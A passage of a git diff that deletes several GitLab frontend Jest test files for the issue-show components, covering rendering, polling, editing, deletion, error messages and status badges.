- const findConfidentialBadge = () => wrapper.findByTestId('confidential');
- const findHiddenBadge = () => wrapper.findByTestId('hidden');
- const findAlert = () => wrapper.find('.alert');
-
- const mountComponent = (props = {}, options = {}, data = {}) => {
- wrapper = mountExtended(IssuableApp, {
- directives: {
- GlTooltip: createMockDirective(),
- },
- propsData: { ...appProps, ...props },
- provide: {
- fullPath: 'gitlab-org/incidents',
- iid: '19',
- uploadMetricsFeatureAvailable: false,
- },
- stubs: {
- HighlightBar: true,
- IncidentTabs: true,
- },
- data() {
- return {
- ...data,
- };
- },
- ...options,
- });
- };
-
- beforeEach(() => {
- setFixtures(`
- <div>
- <title>Title</title>
- <div class="detail-page-description content-block">
- <details open>
- <summary>One</summary>
- </details>
- <details>
- <summary>Two</summary>
- </details>
- </div>
- <div class="flash-container"></div>
- <span id="task_status"></span>
- </div>
- `);
-
- mock = new MockAdapter(axios);
- mock
- .onGet('/gitlab-org/gitlab-shell/-/issues/9/realtime_changes/realtime_changes')
- .reply(() => {
- const res = Promise.resolve([200, REALTIME_REQUEST_STACK[realtimeRequestCount]]);
- realtimeRequestCount += 1;
- return res;
- });
-
- mountComponent();
-
- jest.advanceTimersByTime(2);
- });
-
- afterEach(() => {
- mock.restore();
- realtimeRequestCount = 0;
- wrapper.vm.poll.stop();
- wrapper.destroy();
- });
-
- it('should render a title/description/edited and update title/description/edited on update', () => {
- let editedText;
- return axios
- .waitForAll()
- .then(() => {
- editedText = wrapper.find('.edited-text');
- })
- .then(() => {
- expect(document.querySelector('title').innerText).toContain('this is a title (#1)');
- expect(wrapper.find('.title').text()).toContain('this is a title');
- expect(wrapper.find('.md').text()).toContain('this is a description!');
- expect(wrapper.find('.js-task-list-field').element.value).toContain(
- 'this is a description',
- );
-
- expect(formatText(editedText.text())).toMatch(/Edited[\s\S]+?by Some User/);
- expect(editedText.find('.author-link').attributes('href')).toMatch(/\/some_user$/);
- expect(editedText.find('time').text()).toBeTruthy();
- expect(wrapper.vm.state.lock_version).toBe(initialRequest.lock_version);
- })
- .then(() => {
- wrapper.vm.poll.makeRequest();
- return axios.waitForAll();
- })
- .then(() => {
- expect(document.querySelector('title').innerText).toContain('2 (#1)');
- expect(wrapper.find('.title').text()).toContain('2');
- expect(wrapper.find('.md').text()).toContain('42');
- expect(wrapper.find('.js-task-list-field').element.value).toContain('42');
- expect(wrapper.find('.edited-text').text()).toBeTruthy();
- expect(formatText(wrapper.find('.edited-text').text())).toMatch(
- /Edited[\s\S]+?by Other User/,
- );
-
- expect(editedText.find('.author-link').attributes('href')).toMatch(/\/other_user$/);
- expect(editedText.find('time').text()).toBeTruthy();
- // As the lock_version value does not differ from the server,
- // we should not see an alert
- expect(findAlert().exists()).toBe(false);
- });
- });
-
- it('shows actions if permissions are correct', () => {
- wrapper.vm.showForm = true;
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.find('.markdown-selector').exists()).toBe(true);
- });
- });
-
- it('does not show actions if permissions are incorrect', () => {
- wrapper.vm.showForm = true;
- wrapper.setProps({ canUpdate: false });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.find('.markdown-selector').exists()).toBe(false);
- });
- });
-
- it('does not update formState if form is already open', () => {
- wrapper.vm.updateAndShowForm();
-
- wrapper.vm.state.titleText = 'testing 123';
-
- wrapper.vm.updateAndShowForm();
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.vm.store.formState.title).not.toBe('testing 123');
- });
- });
-
- describe('Pinned links propagated', () => {
- it.each`
- prop | value
- ${'zoomMeetingUrl'} | ${zoomMeetingUrl}
- ${'publishedIncidentUrl'} | ${publishedIncidentUrl}
- `('sets the $prop correctly on underlying pinned links', ({ prop, value }) => {
- expect(wrapper.vm[prop]).toBe(value);
- expect(wrapper.find(`[data-testid="${prop}"]`).attributes('href')).toBe(value);
- });
- });
-
- describe('updateIssuable', () => {
- it('fetches new data after update', () => {
- const updateStoreSpy = jest.spyOn(wrapper.vm, 'updateStoreState');
- const getDataSpy = jest.spyOn(wrapper.vm.service, 'getData');
- jest.spyOn(wrapper.vm.service, 'updateIssuable').mockResolvedValue({
- data: { web_url: window.location.pathname },
- });
-
- return wrapper.vm.updateIssuable().then(() => {
- expect(updateStoreSpy).toHaveBeenCalled();
- expect(getDataSpy).toHaveBeenCalled();
- });
- });
-
- it('correctly updates issuable data', () => {
- const spy = jest.spyOn(wrapper.vm.service, 'updateIssuable').mockResolvedValue({
- data: { web_url: window.location.pathname },
- });
-
- return wrapper.vm.updateIssuable().then(() => {
- expect(spy).toHaveBeenCalledWith(wrapper.vm.formState);
- expect(eventHub.$emit).toHaveBeenCalledWith('close.form');
- });
- });
-
- it('does not redirect if issue has not moved', () => {
- jest.spyOn(wrapper.vm.service, 'updateIssuable').mockResolvedValue({
- data: {
- web_url: window.location.pathname,
- confidential: wrapper.vm.isConfidential,
- },
- });
-
- return wrapper.vm.updateIssuable().then(() => {
- expect(visitUrl).not.toHaveBeenCalled();
- });
- });
-
- it('does not redirect if issue has not moved and user has switched tabs', () => {
- jest.spyOn(wrapper.vm.service, 'updateIssuable').mockResolvedValue({
- data: {
- web_url: '',
- confidential: wrapper.vm.isConfidential,
- },
- });
-
- return wrapper.vm.updateIssuable().then(() => {
- expect(visitUrl).not.toHaveBeenCalled();
- });
- });
-
- it('redirects if returned web_url has changed', () => {
- jest.spyOn(wrapper.vm.service, 'updateIssuable').mockResolvedValue({
- data: {
- web_url: '/testing-issue-move',
- confidential: wrapper.vm.isConfidential,
- },
- });
-
- wrapper.vm.updateIssuable();
-
- return wrapper.vm.updateIssuable().then(() => {
- expect(visitUrl).toHaveBeenCalledWith('/testing-issue-move');
- });
- });
-
- describe('shows dialog when issue has unsaved changed', () => {
- it('confirms on title change', () => {
- wrapper.vm.showForm = true;
- wrapper.vm.state.titleText = 'title has changed';
- const e = { returnValue: null };
- wrapper.vm.handleBeforeUnloadEvent(e);
-
- return wrapper.vm.$nextTick().then(() => {
- expect(e.returnValue).not.toBeNull();
- });
- });
-
- it('confirms on description change', () => {
- wrapper.vm.showForm = true;
- wrapper.vm.state.descriptionText = 'description has changed';
- const e = { returnValue: null };
- wrapper.vm.handleBeforeUnloadEvent(e);
-
- return wrapper.vm.$nextTick().then(() => {
- expect(e.returnValue).not.toBeNull();
- });
- });
-
- it('does nothing when nothing has changed', () => {
- const e = { returnValue: null };
- wrapper.vm.handleBeforeUnloadEvent(e);
-
- return wrapper.vm.$nextTick().then(() => {
- expect(e.returnValue).toBeNull();
- });
- });
- });
-
- describe('error when updating', () => {
- it('closes form on error', () => {
- jest.spyOn(wrapper.vm.service, 'updateIssuable').mockRejectedValue();
-
- return wrapper.vm.updateIssuable().then(() => {
- expect(eventHub.$emit).not.toHaveBeenCalledWith('close.form');
- expect(document.querySelector('.flash-container .flash-text').innerText.trim()).toBe(
- `Error updating issue`,
- );
- });
- });
-
- it('returns the correct error message for issuableType', () => {
- jest.spyOn(wrapper.vm.service, 'updateIssuable').mockRejectedValue();
- wrapper.setProps({ issuableType: 'merge request' });
-
- return wrapper.vm
- .$nextTick()
- .then(wrapper.vm.updateIssuable)
- .then(() => {
- expect(eventHub.$emit).not.toHaveBeenCalledWith('close.form');
- expect(document.querySelector('.flash-container .flash-text').innerText.trim()).toBe(
- `Error updating merge request`,
- );
- });
- });
-
- it('shows error message from backend if exists', () => {
- const msg = 'Custom error message from backend';
- jest
- .spyOn(wrapper.vm.service, 'updateIssuable')
- .mockRejectedValue({ response: { data: { errors: [msg] } } });
-
- return wrapper.vm.updateIssuable().then(() => {
- expect(document.querySelector('.flash-container .flash-text').innerText.trim()).toBe(
- `${wrapper.vm.defaultErrorMessage}. ${msg}`,
- );
- });
- });
- });
- });
-
- describe('deleteIssuable', () => {
- it('changes URL when deleted', () => {
- jest.spyOn(wrapper.vm.service, 'deleteIssuable').mockResolvedValue({
- data: {
- web_url: '/test',
- },
- });
-
- return wrapper.vm.deleteIssuable().then(() => {
- expect(visitUrl).toHaveBeenCalledWith('/test');
- });
- });
-
- it('stops polling when deleting', () => {
- const spy = jest.spyOn(wrapper.vm.poll, 'stop');
- jest.spyOn(wrapper.vm.service, 'deleteIssuable').mockResolvedValue({
- data: {
- web_url: '/test',
- },
- });
-
- return wrapper.vm.deleteIssuable().then(() => {
- expect(spy).toHaveBeenCalledWith();
- });
- });
-
- it('closes form on error', () => {
- jest.spyOn(wrapper.vm.service, 'deleteIssuable').mockRejectedValue();
-
- return wrapper.vm.deleteIssuable().then(() => {
- expect(eventHub.$emit).not.toHaveBeenCalledWith('close.form');
- expect(document.querySelector('.flash-container .flash-text').innerText.trim()).toBe(
- 'Error deleting issue',
- );
- });
- });
- });
-
- describe('updateAndShowForm', () => {
- it('shows locked warning if form is open & data is different', () => {
- return wrapper.vm
- .$nextTick()
- .then(() => {
- wrapper.vm.updateAndShowForm();
-
- wrapper.vm.poll.makeRequest();
-
- return new Promise((resolve) => {
- wrapper.vm.$watch('formState.lockedWarningVisible', (value) => {
- if (value) {
- resolve();
- }
- });
- });
- })
- .then(() => {
- expect(wrapper.vm.formState.lockedWarningVisible).toBe(true);
- expect(wrapper.vm.formState.lock_version).toBe(1);
- expect(findAlert().exists()).toBe(true);
- });
- });
- });
-
- describe('requestTemplatesAndShowForm', () => {
- let formSpy;
-
- beforeEach(() => {
- formSpy = jest.spyOn(wrapper.vm, 'updateAndShowForm');
- });
-
- it('shows the form if template names as hash request is successful', () => {
- const mockData = {
- test: [{ name: 'test', id: 'test', project_path: '/', namespace_path: '/' }],
- };
- mock.onGet('/issuable-templates-path').reply(() => Promise.resolve([200, mockData]));
-
- return wrapper.vm.requestTemplatesAndShowForm().then(() => {
- expect(formSpy).toHaveBeenCalledWith(mockData);
- });
- });
-
- it('shows the form if template names as array request is successful', () => {
- const mockData = [{ name: 'test', id: 'test', project_path: '/', namespace_path: '/' }];
- mock.onGet('/issuable-templates-path').reply(() => Promise.resolve([200, mockData]));
-
- return wrapper.vm.requestTemplatesAndShowForm().then(() => {
- expect(formSpy).toHaveBeenCalledWith(mockData);
- });
- });
-
- it('shows the form if template names request failed', () => {
- mock
- .onGet('/issuable-templates-path')
- .reply(() => Promise.reject(new Error('something went wrong')));
-
- return wrapper.vm.requestTemplatesAndShowForm().then(() => {
- expect(document.querySelector('.flash-container .flash-text').textContent).toContain(
- 'Error updating issue',
- );
-
- expect(formSpy).toHaveBeenCalledWith();
- });
- });
- });
-
- describe('show inline edit button', () => {
- it('should not render by default', () => {
- expect(wrapper.find('.btn-edit').exists()).toBe(true);
- });
-
- it('should render if showInlineEditButton', () => {
- wrapper.setProps({ showInlineEditButton: true });
-
- return wrapper.vm.$nextTick(() => {
- expect(wrapper.find('.btn-edit').exists()).toBe(true);
- });
- });
- });
-
- describe('updateStoreState', () => {
- it('should make a request and update the state of the store', () => {
- const data = { foo: 1 };
- const getDataSpy = jest.spyOn(wrapper.vm.service, 'getData').mockResolvedValue({ data });
- const updateStateSpy = jest
- .spyOn(wrapper.vm.store, 'updateState')
- .mockImplementation(jest.fn);
-
- return wrapper.vm.updateStoreState().then(() => {
- expect(getDataSpy).toHaveBeenCalled();
- expect(updateStateSpy).toHaveBeenCalledWith(data);
- });
- });
-
- it('should show error message if store update fails', () => {
- jest.spyOn(wrapper.vm.service, 'getData').mockRejectedValue();
- wrapper.setProps({ issuableType: 'merge request' });
-
- return wrapper.vm.updateStoreState().then(() => {
- expect(document.querySelector('.flash-container .flash-text').innerText.trim()).toBe(
- `Error updating ${wrapper.vm.issuableType}`,
- );
- });
- });
- });
-
- describe('issueChanged', () => {
- beforeEach(() => {
- wrapper.vm.store.formState.title = '';
- wrapper.vm.store.formState.description = '';
- wrapper.setProps({
- initialDescriptionText: '',
- initialTitleText: '',
- });
- });
-
- it('returns true when title is changed', () => {
- wrapper.vm.store.formState.title = 'RandomText';
-
- expect(wrapper.vm.issueChanged).toBe(true);
- });
-
- it('returns false when title is empty null', () => {
- wrapper.vm.store.formState.title = null;
-
- expect(wrapper.vm.issueChanged).toBe(false);
- });
-
- it('returns true when description is changed', () => {
- wrapper.vm.store.formState.description = 'RandomText';
-
- expect(wrapper.vm.issueChanged).toBe(true);
- });
-
- it('returns false when description is empty null', () => {
- wrapper.vm.store.formState.description = null;
-
- expect(wrapper.vm.issueChanged).toBe(false);
- });
-
- it('returns false when `initialDescriptionText` is null and `formState.description` is empty string', () => {
- wrapper.vm.store.formState.description = '';
- wrapper.setProps({ initialDescriptionText: null });
-
- expect(wrapper.vm.issueChanged).toBe(false);
- });
- });
-
- describe('sticky header', () => {
- describe('when title is in view', () => {
- it('is not shown', () => {
- expect(findStickyHeader().exists()).toBe(false);
- });
- });
-
- describe('when title is not in view', () => {
- beforeEach(() => {
- wrapper.vm.state.titleText = 'Sticky header title';
- wrapper.find(GlIntersectionObserver).vm.$emit('disappear');
- });
-
- it('shows with title', () => {
- expect(findStickyHeader().text()).toContain('Sticky header title');
- });
-
- it.each`
- title | state
- ${'shows with Open when status is opened'} | ${IssuableStatus.Open}
- ${'shows with Closed when status is closed'} | ${IssuableStatus.Closed}
- ${'shows with Open when status is reopened'} | ${IssuableStatus.Reopened}
- `('$title', async ({ state }) => {
- wrapper.setProps({ issuableStatus: state });
-
- await nextTick();
-
- expect(findStickyHeader().text()).toContain(IssuableStatusText[state]);
- });
-
- it.each`
- title | isConfidential
- ${'does not show confidential badge when issue is not confidential'} | ${false}
- ${'shows confidential badge when issue is confidential'} | ${true}
- `('$title', async ({ isConfidential }) => {
- wrapper.setProps({ isConfidential });
-
- await nextTick();
-
- expect(findConfidentialBadge().exists()).toBe(isConfidential);
- });
-
- it.each`
- title | isLocked
- ${'does not show locked badge when issue is not locked'} | ${false}
- ${'shows locked badge when issue is locked'} | ${true}
- `('$title', async ({ isLocked }) => {
- wrapper.setProps({ isLocked });
-
- await nextTick();
-
- expect(findLockedBadge().exists()).toBe(isLocked);
- });
-
- it.each`
- title | isHidden
- ${'does not show hidden badge when issue is not hidden'} | ${false}
- ${'shows hidden badge when issue is hidden'} | ${true}
- `('$title', async ({ isHidden }) => {
- wrapper.setProps({ isHidden });
-
- await nextTick();
-
- const hiddenBadge = findHiddenBadge();
-
- expect(hiddenBadge.exists()).toBe(isHidden);
-
- if (isHidden) {
- expect(hiddenBadge.attributes('title')).toBe(
- 'This issue is hidden because its author has been banned',
- );
- expect(getBinding(hiddenBadge.element, 'gl-tooltip')).not.toBeUndefined();
- }
- });
- });
- });
-
- describe('Composable description component', () => {
- const findIncidentTabs = () => wrapper.findComponent(IncidentTabs);
- const findDescriptionComponent = () => wrapper.findComponent(DescriptionComponent);
- const findPinnedLinks = () => wrapper.findComponent(PinnedLinks);
- const borderClass = 'gl-border-b-1 gl-border-b-gray-100 gl-border-b-solid gl-mb-6';
-
- describe('when using description component', () => {
- it('renders the description component', () => {
- expect(findDescriptionComponent().exists()).toBe(true);
- });
-
- it('does not render incident tabs', () => {
- expect(findIncidentTabs().exists()).toBe(false);
- });
-
- it('adds a border below the header', () => {
- expect(findPinnedLinks().attributes('class')).toContain(borderClass);
- });
- });
-
- describe('when using incident tabs description wrapper', () => {
- beforeEach(() => {
- mountComponent(
- {
- descriptionComponent: IncidentTabs,
- showTitleBorder: false,
- },
- {
- mocks: {
- $apollo: {
- queries: {
- alert: {
- loading: false,
- },
- },
- },
- },
- },
- );
- });
-
- it('renders the description component', () => {
- expect(findDescriptionComponent().exists()).toBe(true);
- });
-
- it('renders incident tabs', () => {
- expect(findIncidentTabs().exists()).toBe(true);
- });
-
- it('does not add a border below the header', () => {
- expect(findPinnedLinks().attributes('class')).not.toContain(borderClass);
- });
- });
- });
-
- describe('taskListUpdateStarted', () => {
- it('stops polling', () => {
- jest.spyOn(wrapper.vm.poll, 'stop');
-
- wrapper.vm.taskListUpdateStarted();
-
- expect(wrapper.vm.poll.stop).toHaveBeenCalled();
- });
- });
-
- describe('taskListUpdateSucceeded', () => {
- it('enables polling', () => {
- jest.spyOn(wrapper.vm.poll, 'enable');
- jest.spyOn(wrapper.vm.poll, 'makeDelayedRequest');
-
- wrapper.vm.taskListUpdateSucceeded();
-
- expect(wrapper.vm.poll.enable).toHaveBeenCalled();
- expect(wrapper.vm.poll.makeDelayedRequest).toHaveBeenCalledWith(POLLING_DELAY);
- });
- });
-
- describe('taskListUpdateFailed', () => {
- it('enables polling and calls updateStoreState', () => {
- jest.spyOn(wrapper.vm.poll, 'enable');
- jest.spyOn(wrapper.vm.poll, 'makeDelayedRequest');
- jest.spyOn(wrapper.vm, 'updateStoreState');
-
- wrapper.vm.taskListUpdateFailed();
-
- expect(wrapper.vm.poll.enable).toHaveBeenCalled();
- expect(wrapper.vm.poll.makeDelayedRequest).toHaveBeenCalledWith(POLLING_DELAY);
- expect(wrapper.vm.updateStoreState).toHaveBeenCalled();
- });
- });
-});
diff --git a/spec/frontend/issue_show/components/description_spec.js b/spec/frontend/issue_show/components/description_spec.js
deleted file mode 100644
index bdcc82cab81..00000000000
--- a/spec/frontend/issue_show/components/description_spec.js
+++ /dev/null
@@ -1,187 +0,0 @@
-import $ from 'jquery';
-import Vue from 'vue';
-import '~/behaviors/markdown/render_gfm';
-import { TEST_HOST } from 'helpers/test_constants';
-import mountComponent from 'helpers/vue_mount_component_helper';
-import Description from '~/issue_show/components/description.vue';
-import TaskList from '~/task_list';
-import { descriptionProps as props } from '../mock_data/mock_data';
-
-jest.mock('~/task_list');
-
-describe('Description component', () => {
- let vm;
- let DescriptionComponent;
-
- beforeEach(() => {
- DescriptionComponent = Vue.extend(Description);
-
- if (!document.querySelector('.issuable-meta')) {
- const metaData = document.createElement('div');
- metaData.classList.add('issuable-meta');
- metaData.innerHTML =
- '<div class="flash-container"></div><span id="task_status"></span><span id="task_status_short"></span>';
-
- document.body.appendChild(metaData);
- }
-
- vm = mountComponent(DescriptionComponent, props);
- });
-
- afterEach(() => {
- vm.$destroy();
- });
-
- afterAll(() => {
- $('.issuable-meta .flash-container').remove();
- });
-
- it('doesnt animate first description changes', () => {
- vm.descriptionHtml = 'changed';
-
- return vm.$nextTick().then(() => {
- expect(
- vm.$el.querySelector('.md').classList.contains('issue-realtime-pre-pulse'),
- ).toBeFalsy();
- jest.runAllTimers();
- return vm.$nextTick();
- });
- });
-
- it('animates description changes on live update', () => {
- vm.descriptionHtml = 'changed';
- return vm
- .$nextTick()
- .then(() => {
- vm.descriptionHtml = 'changed second time';
- return vm.$nextTick();
- })
- .then(() => {
- expect(
- vm.$el.querySelector('.md').classList.contains('issue-realtime-pre-pulse'),
- ).toBeTruthy();
- jest.runAllTimers();
- return vm.$nextTick();
- })
- .then(() => {
- expect(
- vm.$el.querySelector('.md').classList.contains('issue-realtime-trigger-pulse'),
- ).toBeTruthy();
- });
- });
-
- it('applies syntax highlighting and math when description changed', () => {
- const vmSpy = jest.spyOn(vm, 'renderGFM');
- const prototypeSpy = jest.spyOn($.prototype, 'renderGFM');
- vm.descriptionHtml = 'changed';
-
- return vm.$nextTick().then(() => {
- expect(vm.$refs['gfm-content']).toBeDefined();
- expect(vmSpy).toHaveBeenCalled();
- expect(prototypeSpy).toHaveBeenCalled();
- expect($.prototype.renderGFM).toHaveBeenCalled();
- });
- });
-
- it('sets data-update-url', () => {
- expect(vm.$el.querySelector('textarea').dataset.updateUrl).toEqual(TEST_HOST);
- });
-
- describe('TaskList', () => {
- beforeEach(() => {
- vm.$destroy();
- TaskList.mockClear();
- vm = mountComponent(DescriptionComponent, { ...props, issuableType: 'issuableType' });
- });
-
- it('re-inits the TaskList when description changed', () => {
- vm.descriptionHtml = 'changed';
-
- expect(TaskList).toHaveBeenCalled();
- });
-
- it('does not re-init the TaskList when canUpdate is false', () => {
- vm.canUpdate = false;
- vm.descriptionHtml = 'changed';
-
- expect(TaskList).toHaveBeenCalledTimes(1);
- });
-
- it('calls with issuableType dataType', () => {
- vm.descriptionHtml = 'changed';
-
- expect(TaskList).toHaveBeenCalledWith({
- dataType: 'issuableType',
- fieldName: 'description',
- selector: '.detail-page-description',
- onUpdate: expect.any(Function),
- onSuccess: expect.any(Function),
- onError: expect.any(Function),
- lockVersion: 0,
- });
- });
- });
-
- describe('taskStatus', () => {
- it('adds full taskStatus', () => {
- vm.taskStatus = '1 of 1';
-
- return vm.$nextTick().then(() => {
- expect(document.querySelector('.issuable-meta #task_status').textContent.trim()).toBe(
- '1 of 1',
- );
- });
- });
-
- it('adds short taskStatus', () => {
- vm.taskStatus = '1 of 1';
-
- return vm.$nextTick().then(() => {
- expect(document.querySelector('.issuable-meta #task_status_short').textContent.trim()).toBe(
- '1/1 task',
- );
- });
- });
-
- it('clears task status text when no tasks are present', () => {
- vm.taskStatus = '0 of 0';
-
- return vm.$nextTick().then(() => {
- expect(document.querySelector('.issuable-meta #task_status').textContent.trim()).toBe('');
- });
- });
- });
-
- describe('taskListUpdateStarted', () => {
- it('emits event to parent', () => {
- const spy = jest.spyOn(vm, '$emit');
-
- vm.taskListUpdateStarted();
-
- expect(spy).toHaveBeenCalledWith('taskListUpdateStarted');
- });
- });
-
- describe('taskListUpdateSuccess', () => {
- it('emits event to parent', () => {
- const spy = jest.spyOn(vm, '$emit');
-
- vm.taskListUpdateSuccess();
-
- expect(spy).toHaveBeenCalledWith('taskListUpdateSucceeded');
- });
- });
-
- describe('taskListUpdateError', () => {
- it('should create flash notification and emit an event to parent', () => {
- const msg =
- 'Someone edited this issue at the same time you did. The description has been updated and you will need to make your changes again.';
- const spy = jest.spyOn(vm, '$emit');
-
- vm.taskListUpdateError();
-
- expect(document.querySelector('.flash-container .flash-text').innerText.trim()).toBe(msg);
- expect(spy).toHaveBeenCalledWith('taskListUpdateFailed');
- });
- });
-});
diff --git a/spec/frontend/issue_show/components/edit_actions_spec.js b/spec/frontend/issue_show/components/edit_actions_spec.js
deleted file mode 100644
index 50c27cb5bda..00000000000
--- a/spec/frontend/issue_show/components/edit_actions_spec.js
+++ /dev/null
@@ -1,163 +0,0 @@
-import { GlButton, GlModal } from '@gitlab/ui';
-import { createLocalVue } from '@vue/test-utils';
-import VueApollo from 'vue-apollo';
-import createMockApollo from 'helpers/mock_apollo_helper';
-import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
-import waitForPromises from 'helpers/wait_for_promises';
-import IssuableEditActions from '~/issue_show/components/edit_actions.vue';
-import eventHub from '~/issue_show/event_hub';
-
-import {
- getIssueStateQueryResponse,
- updateIssueStateQueryResponse,
-} from '../mock_data/apollo_mock';
-
-const localVue = createLocalVue();
-localVue.use(VueApollo);
-
-describe('Edit Actions component', () => {
- let wrapper;
- let fakeApollo;
- let mockIssueStateData;
-
- const mockResolvers = {
- Query: {
- issueState() {
- return {
- __typename: 'IssueState',
- rawData: mockIssueStateData(),
- };
- },
- },
- };
-
- const modalId = 'delete-issuable-modal-1';
-
- const createComponent = ({ props, data } = {}) => {
- fakeApollo = createMockApollo([], mockResolvers);
-
- wrapper = shallowMountExtended(IssuableEditActions, {
- apolloProvider: fakeApollo,
- propsData: {
- formState: {
- title: 'GitLab Issue',
- },
- canDestroy: true,
- issuableType: 'issue',
- ...props,
- },
- data() {
- return {
- issueState: {},
- modalId,
- ...data,
- };
- },
- });
- };
-
- async function deleteIssuable(localWrapper) {
- localWrapper.findComponent(GlModal).vm.$emit('primary');
- }
-
- const findModal = () => wrapper.findComponent(GlModal);
- const findEditButtons = () => wrapper.findAllComponents(GlButton);
- const findDeleteButton = () => wrapper.findByTestId('issuable-delete-button');
- const findSaveButton = () => wrapper.findByTestId('issuable-save-button');
- const findCancelButton = () => wrapper.findByTestId('issuable-cancel-button');
-
- beforeEach(() => {
- mockIssueStateData = jest.fn();
- createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('renders all buttons as enabled', () => {
- const buttons = findEditButtons().wrappers;
- buttons.forEach((button) => {
- expect(button.attributes('disabled')).toBeFalsy();
- });
- });
-
- it('does not render the delete button if canDestroy is false', () => {
- createComponent({ props: { canDestroy: false } });
- expect(findDeleteButton().exists()).toBe(false);
- });
-
- it('disables save button when title is blank', () => {
- createComponent({ props: { formState: { title: '', issue_type: '' } } });
-
- expect(findSaveButton().attributes('disabled')).toBe('true');
- });
-
- it('does not render the delete button if showDeleteButton is false', () => {
- createComponent({ props: { showDeleteButton: false } });
-
- expect(findDeleteButton().exists()).toBe(false);
- });
-
- describe('updateIssuable', () => {
- beforeEach(() => {
- jest.spyOn(eventHub, '$emit').mockImplementation(() => {});
- });
-
- it('sends update.issauble event when clicking save button', () => {
- findSaveButton().vm.$emit('click', { preventDefault: jest.fn() });
-
- expect(eventHub.$emit).toHaveBeenCalledWith('update.issuable');
- });
- });
-
- describe('closeForm', () => {
- beforeEach(() => {
- jest.spyOn(eventHub, '$emit').mockImplementation(() => {});
- });
-
- it('emits close.form when clicking cancel', () => {
- findCancelButton().vm.$emit('click');
-
- expect(eventHub.$emit).toHaveBeenCalledWith('close.form');
- });
- });
-
- describe('renders create modal with the correct information', () => {
- it('renders correct modal id', () => {
- expect(findModal().attributes('modalid')).toBe(modalId);
- });
- });
-
- describe('deleteIssuable', () => {
- beforeEach(() => {
- jest.spyOn(eventHub, '$emit').mockImplementation(() => {});
- });
-
- it('does not send the `delete.issuable` event when clicking delete button', () => {
- findDeleteButton().vm.$emit('click');
- expect(eventHub.$emit).not.toHaveBeenCalled();
- });
-
- it('sends the `delete.issuable` event when clicking the delete confirm button', async () => {
- expect(eventHub.$emit).toHaveBeenCalledTimes(0);
- await deleteIssuable(wrapper);
- expect(eventHub.$emit).toHaveBeenCalledWith('delete.issuable', { destroy_confirm: true });
- expect(eventHub.$emit).toHaveBeenCalledTimes(1);
- });
- });
-
- describe('with Apollo cache mock', () => {
- it('renders the right delete button text per apollo cache type', async () => {
- mockIssueStateData.mockResolvedValue(getIssueStateQueryResponse);
- await waitForPromises();
- expect(findDeleteButton().text()).toBe('Delete issue');
- });
-
- it('should not change the delete button text per apollo cache mutation', async () => {
- mockIssueStateData.mockResolvedValue(updateIssueStateQueryResponse);
- await waitForPromises();
- expect(findDeleteButton().text()).toBe('Delete issue');
- });
- });
-});
diff --git a/spec/frontend/issue_show/components/edited_spec.js b/spec/frontend/issue_show/components/edited_spec.js
deleted file mode 100644
index a1683f060c0..00000000000
--- a/spec/frontend/issue_show/components/edited_spec.js
+++ /dev/null
@@ -1,49 +0,0 @@
-import Vue from 'vue';
-import edited from '~/issue_show/components/edited.vue';
-
-function formatText(text) {
- return text.trim().replace(/\s\s+/g, ' ');
-}
-
-describe('edited', () => {
- const EditedComponent = Vue.extend(edited);
-
- it('should render an edited at+by string', () => {
- const editedComponent = new EditedComponent({
- propsData: {
- updatedAt: '2017-05-15T12:31:04.428Z',
- updatedByName: 'Some User',
- updatedByPath: '/some_user',
- },
- }).$mount();
-
- expect(formatText(editedComponent.$el.innerText)).toMatch(/Edited[\s\S]+?by Some User/);
- expect(editedComponent.$el.querySelector('.author-link').href).toMatch(/\/some_user$/);
- expect(editedComponent.$el.querySelector('time')).toBeTruthy();
- });
-
- it('if no updatedAt is provided, no time element will be rendered', () => {
- const editedComponent = new EditedComponent({
- propsData: {
- updatedByName: 'Some User',
- updatedByPath: '/some_user',
- },
- }).$mount();
-
- expect(formatText(editedComponent.$el.innerText)).toMatch(/Edited by Some User/);
- expect(editedComponent.$el.querySelector('.author-link').href).toMatch(/\/some_user$/);
- expect(editedComponent.$el.querySelector('time')).toBeFalsy();
- });
-
- it('if no updatedByName and updatedByPath is provided, no user element will be rendered', () => {
- const editedComponent = new EditedComponent({
- propsData: {
- updatedAt: '2017-05-15T12:31:04.428Z',
- },
- }).$mount();
-
- expect(formatText(editedComponent.$el.innerText)).not.toMatch(/by Some User/);
- expect(editedComponent.$el.querySelector('.author-link')).toBeFalsy();
- expect(editedComponent.$el.querySelector('time')).toBeTruthy();
- });
-});
diff --git a/spec/frontend/issue_show/components/fields/description_spec.js b/spec/frontend/issue_show/components/fields/description_spec.js
deleted file mode 100644
index a50be30cf4c..00000000000
--- a/spec/frontend/issue_show/components/fields/description_spec.js
+++ /dev/null
@@ -1,70 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import DescriptionField from '~/issue_show/components/fields/description.vue';
-import eventHub from '~/issue_show/event_hub';
-import MarkdownField from '~/vue_shared/components/markdown/field.vue';
-
-describe('Description field component', () => {
- let wrapper;
-
- const findTextarea = () => wrapper.find({ ref: 'textarea' });
-
- const mountComponent = (description = 'test') =>
- shallowMount(DescriptionField, {
- attachTo: document.body,
- propsData: {
- markdownPreviewPath: '/',
- markdownDocsPath: '/',
- formState: {
- description,
- },
- },
- stubs: {
- MarkdownField,
- },
- });
-
- beforeEach(() => {
- jest.spyOn(eventHub, '$emit');
- });
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- it('renders markdown field with description', () => {
- wrapper = mountComponent();
-
- expect(findTextarea().element.value).toBe('test');
- });
-
- it('renders markdown field with a markdown description', () => {
- const markdown = '**test**';
-
- wrapper = mountComponent(markdown);
-
- expect(findTextarea().element.value).toBe(markdown);
- });
-
- it('focuses field when mounted', () => {
- wrapper = mountComponent();
-
- expect(document.activeElement).toBe(findTextarea().element);
- });
-
- it('triggers update with meta+enter', () => {
- wrapper = mountComponent();
-
- findTextarea().trigger('keydown.enter', { metaKey: true });
-
- expect(eventHub.$emit).toHaveBeenCalledWith('update.issuable');
- });
-
- it('triggers update with ctrl+enter', () => {
- wrapper = mountComponent();
-
- findTextarea().trigger('keydown.enter', { ctrlKey: true });
-
- expect(eventHub.$emit).toHaveBeenCalledWith('update.issuable');
- });
-});
diff --git a/spec/frontend/issue_show/components/fields/description_template_spec.js b/spec/frontend/issue_show/components/fields/description_template_spec.js
deleted file mode 100644
